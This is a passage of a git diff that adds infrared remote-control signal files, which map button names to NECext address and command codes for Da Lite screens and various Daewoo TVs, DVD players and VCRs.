+address: 01 00 00 00 +command: 4C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4D 00 00 00 +# +name: KEY_PC +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4E 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4F 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 50 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 51 00 00 00 +# +name: snapshot +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 52 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 53 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 54 00 00 00 +# +name: alttab +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 55 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 57 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 58 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 59 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5A 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Da Lite/Screen/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Da Lite/Screen/0,-1.ir new file mode 100644 index 000000000..85e5d5991 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Da Lite/Screen/0,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir b/assets/resources/infrared/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir new file mode 100644 index 000000000..371a09483 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 00 00 00 00 +# +name: MEM +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 04 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 06 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 0C 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 0D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 0E 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 0F 00 00 00 +# +name: HOCH +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 12 00 00 00 +# +name: RUNTER +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 13 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 15 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 18 00 00 00 +# +name: PL +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 19 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 1A 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 1B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 1C 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 1D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 1E 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir new file mode 100644 index 000000000..c9f9a1823 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 09 00 00 00 +# +name: 100 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0A 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0B 00 00 00 +# +name: OUTPUT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0C 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0E 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 11 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 12 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 13 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 13 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 14 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 14 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 15 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 16 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 17 00 00 00 +# +name: CURSER_DOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 18 00 00 00 +# +name: CURSER_RIGHT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 19 00 00 00 +# +name: CURSER_LEFT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1A 00 00 00 +# +name: ANGLE/DIGEST_SPEED +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1B 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1D 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1E 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1F 00 00 00 +# +name: TITLE/PB +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 20 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 21 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 23 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 25 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 26 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 27 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 29 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 2C 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 37 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3C 00 00 00 +# +name: SIDE_A/B +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/TV/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/TV/20,-1.ir new file mode 100644 index 000000000..62de517eb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daewoo/TV/20,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: CODE1_VID_4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0C 00 00 00 +# +name: CODE1_VID_3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0E 00 00 00 +# +name: CODE1_POWER_OFF +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 15 00 00 00 +# +name: CODE1_POWER_ON +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 15 00 00 00 +# +name: CODE4_POWER_OFF +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 15 00 00 00 +# +name: CODE4_POWER_ON +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 15 00 00 00 +# +name: CODE1_VIDE_2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 23 00 00 00 +# +name: CODE1_VID_5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2C 00 00 00 +# +name: CODE1_VID_1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/TV/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/TV/4,-1.ir new file mode 100644 index 000000000..edd0ae451 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daewoo/TV/4,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: CODE2_POWER_ON +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: CODE2_POWER_OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/TV/6,6.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/TV/6,6.ir new file mode 100644 index 000000000..5dc600a56 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daewoo/TV/6,6.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: CODE3_POWER_OFF +type: parsed +protocol: NECext +address: 06 06 00 00 +command: 0F 00 00 00 +# +name: CODE3_POWER_ON +type: parsed +protocol: NECext +address: 06 06 00 00 +command: 0F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir new file mode 100644 index 000000000..7946fcc02 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: MOVE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: DEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: IN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: PAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir new file mode 100644 index 000000000..dfbe21642 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 09 00 00 00 +# +name: phi +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0A 00 00 00 +# +name: stop +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0D 00 00 00 +# +name: play +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0E 00 00 00 +# +name: fwd +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0F 00 00 00 +# +name: rew +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 10 00 00 00 +# +name: pause +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 11 00 00 00 +# +name: dot +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 12 00 00 00 +# +name: next +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 13 00 00 00 +# +name: power +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 15 00 00 00 +# +name: tv_vcr +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 16 00 00 00 +# +name: pr+ +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 17 00 00 00 +# +name: pr- +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 18 00 00 00 +# +name: a_sel +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1A 00 00 00 +# +name: sp_lp +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1B 00 00 00 +# +name: TR +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1C 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1D 00 00 00 +# +name: pal_sec +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1F 00 00 00 +# +name: eject +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 21 00 00 00 +# +name: menu +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 22 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 29 00 00 00 +# +name: left +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 31 00 00 00 +# +name: index+ +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 33 00 00 00 +# +name: right +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 35 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 36 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 37 00 00 00 +# +name: show_view +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 39 00 00 00 +# +name: index- +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir new file mode 100644 index 000000000..bd7cafc5e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: NUM0 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 90 00 00 00 +# +name: NUM1 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 91 00 00 00 +# +name: NUM2 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 92 00 00 00 +# +name: NUM3 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 93 00 00 00 +# +name: NUM4 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 94 00 00 00 +# +name: NUM5 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 95 00 00 00 +# +name: NUM6 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 96 00 00 00 +# +name: NUM7 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 97 00 00 00 +# +name: NUM8 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 98 00 00 00 +# +name: NUM9 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 99 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 9A 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 9B 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 9C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 9D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 9E 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 9F 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 15 00 00 00 +command: A0 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 15 00 00 00 +command: A1 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 15 00 00 00 +command: A2 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: A3 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 15 00 00 00 +command: A4 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 15 00 00 00 +command: A5 00 00 00 +# +name: SREW +type: parsed +protocol: NECext +address: 15 00 00 00 +command: A6 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: A7 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: A8 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: A9 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: AA 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: AB 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 15 00 00 00 +command: AC 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 15 00 00 00 +command: AD 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: AE 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 15 00 00 00 +command: AF 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: B0 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 15 00 00 00 +command: B1 00 00 00 +# +name: AB +type: parsed +protocol: NECext +address: 15 00 00 00 +command: B3 00 00 00 +# +name: KEY_3D +type: parsed +protocol: NECext +address: 15 00 00 00 +command: B4 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: B5 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: B8 00 00 00 +# +name: SCART +type: parsed +protocol: NECext +address: 15 00 00 00 +command: BA 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 15 00 00 00 +command: BB 00 00 00 +# +name: SFFWD +type: parsed +protocol: NECext +address: 15 00 00 00 +command: BC 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 15 00 00 00 +command: BE 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: BF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir new file mode 100644 index 000000000..b649b57d8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 00 00 00 00 +# +name: Volume- +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 01 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 02 00 00 00 +# +name: Volume+ +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 03 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 05 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 09 00 00 00 +# +name: Back +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0B 00 00 00 +# +name: Stop +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0D 00 00 00 +# +name: Play +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0E 00 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0E 00 00 00 +# +name: Forward +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0F 00 00 00 +# +name: Rewind +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 10 00 00 00 +# +name: Menu +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 11 00 00 00 +# +name: Power +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 15 00 00 00 +# +name: Yello +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 16 00 00 00 +# +name: Channel+ +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 17 00 00 00 +# +name: Channel- +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 18 00 00 00 +# +name: Rigth +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 19 00 00 00 +# +name: Left +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1A 00 00 00 +# +name: Mute +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1E 00 00 00 +# +name: Red +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 26 00 00 00 +# +name: Green +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 27 00 00 00 +# +name: Blue +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 38 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir new file mode 100644 index 000000000..f51630573 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: Move +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: Del +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: Src +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir new file mode 100644 index 000000000..7c5be9bec --- /dev/null +++ 